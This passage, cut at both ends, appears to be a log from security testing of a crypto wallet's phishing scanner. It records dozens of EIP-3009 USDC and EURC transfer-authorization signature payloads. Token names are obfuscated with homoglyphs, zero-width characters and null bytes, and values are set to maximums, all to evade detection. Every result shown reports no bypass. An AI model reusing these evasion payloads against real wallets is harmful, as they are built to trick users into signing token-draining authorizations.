"EIP3009-combo-USDC-long_1024-hex_mixed_case-leading_zeros_ts-sequential-checksum-v4", "category": "eip3009", "description": "USDC + long_1024 + hex_mixed_case + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coinxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16719835\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-2", "timestamp": "2026-01-31T23:44:42.954Z", "technique": "EIP3009-combo-EURC-leading_space-trailing_zeros-leading_zeros_ts-sequential-checksum-v4", "category": "eip3009", "description": "EURC + leading_space + trailing_zeros + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16719835\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-3", "timestamp": "2026-01-31T23:44:49.906Z", "technique": "EIP3009-combo-USDC-null_byte-padded_64-narrow_1hr-random-checksum-signTypedData", "category": "eip3009", "description": "USDC + null_byte + padded_64 + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u0000 Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xa90f7881a30de84a40cfdb6f840cc42c922a657637263250171cd8381046e1a3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-4", "timestamp": "2026-01-31T23:44:56.449Z", "technique": "EIP3009-combo-EURC-long_256-hex_max-year_2100-random-checksum-v4", "category": "eip3009", "description": "EURC + long_256 + hex_max + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xea40ef0cdcdb491daa4651774d01e9328c1106b739aeadbd183343bf2b9c1e70\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-5", "timestamp": "2026-01-31T23:45:03.403Z", "technique": "EIP3009-combo-USDC-thin_space-unicode_digits-numeric_ts-leading_zeros_nonce-checksum-v3", "category": "eip3009", "description": "USDC + thin_space + unicode_digits + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"100000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-6", "timestamp": "2026-01-31T23:45:10.344Z", "technique": "EIP3009-combo-USDC-leading_space-dust_1-just_now-half_and_half-lowercase-v4", "category": "eip3009", "description": "USDC + leading_space + dust_1 + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN11-COMBO-7", "timestamp": "2026-01-31T23:45:19.682Z", "technique": "EIP3009-combo-EURC-nbsp-dust_1-standard-mixed_case_hex-checksum-v4", "category": "eip3009", "description": "EURC + nbsp + dust_1 + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x5fF7790a479795830fE2D62d1c824bEbF97f0bAdFdEbA8Ac1890B9270d86C52a\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-8", "timestamp": "2026-01-31T23:45:26.638Z", "technique": "EIP3009-combo-USDC-bom-one_million-numeric_ts-mixed_case_hex-checksum-v4", "category": "eip3009", "description": "USDC + bom + one_million + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x7e5aC024Ae01F7F1D09f21B574B50e3a8a1e3f64Ef5e7b49Bc18Ed590569F9D9\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-9", "timestamp": "2026-01-31T23:45:33.643Z", "technique": "EIP3009-combo-EURC-softhyphen-padded_64-past_2020-sequential-mixed_case-v4", "category": "eip3009", "description": "EURC + softhyphen + padded_64 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR­C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16719835\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-10", "timestamp": "2026-01-31T23:45:40.176Z", "technique": "EIP3009-combo-USDC-combining_mark-padded_64-max_uint-max-mixed_case-v4", "category": "eip3009", "description": "USDC + combining_mark + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-11", "timestamp": "2026-01-31T23:45:46.707Z", "technique": "EIP3009-combo-USDC-cyrillic_a-one_million-far_future-mixed_case_hex-checksum-v3", "category": "eip3009", "description": "USDC + cyrillic_a + one_million + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x88F9373f429dFd327d985d095f7a102a6950F984E0B109207a20A032F47b9a64\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-12", "timestamp": "2026-01-31T23:45:53.684Z", "technique": "EIP3009-combo-EURC-zwj-very_large-year_2100-all_a-checksum-v4", "category": "eip3009", "description": "EURC + zwj + very_large + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‍RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN11-COMBO-13", "timestamp": "2026-01-31T23:46:00.659Z", "technique": "EIP3009-combo-USDC-backspace-alternating-standard-alternating-mixed_case-v3", "category": "eip3009", "description": "USDC + backspace + alternating + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-14", "timestamp": "2026-01-31T23:46:07.202Z", "technique": "EIP3009-combo-EURC-cyrillic_o-numeric_small-max_uint-random-mixed_case-v4", "category": "eip3009", "description": "EURC + cyrillic_o + numeric_small + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x59415e7da010d5f3e20f4e6d6809229be56dfcaae556259a01902af4c24a2565\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-0", "timestamp": "2026-01-31T23:46:13.737Z", "technique": "EIP3009-combo-EURC-thin_space-round_100k-past_2020-all_ones-lowercase-signTypedData", "category": "eip3009", "description": "EURC + thin_space + round_100k + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-1", "timestamp": "2026-01-31T23:46:20.284Z", "technique": "EIP3009-combo-EURC-cyrillic_o-padded_64-year_2100-all_ones-checksum-signTypedData", "category": "eip3009", "description": "EURC + cyrillic_o + padded_64 + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-2", "timestamp": "2026-01-31T23:46:26.824Z", "technique": "EIP3009-combo-EURC-softhyphen-very_large-past_2020-mixed_case_hex-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + softhyphen + very_large + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 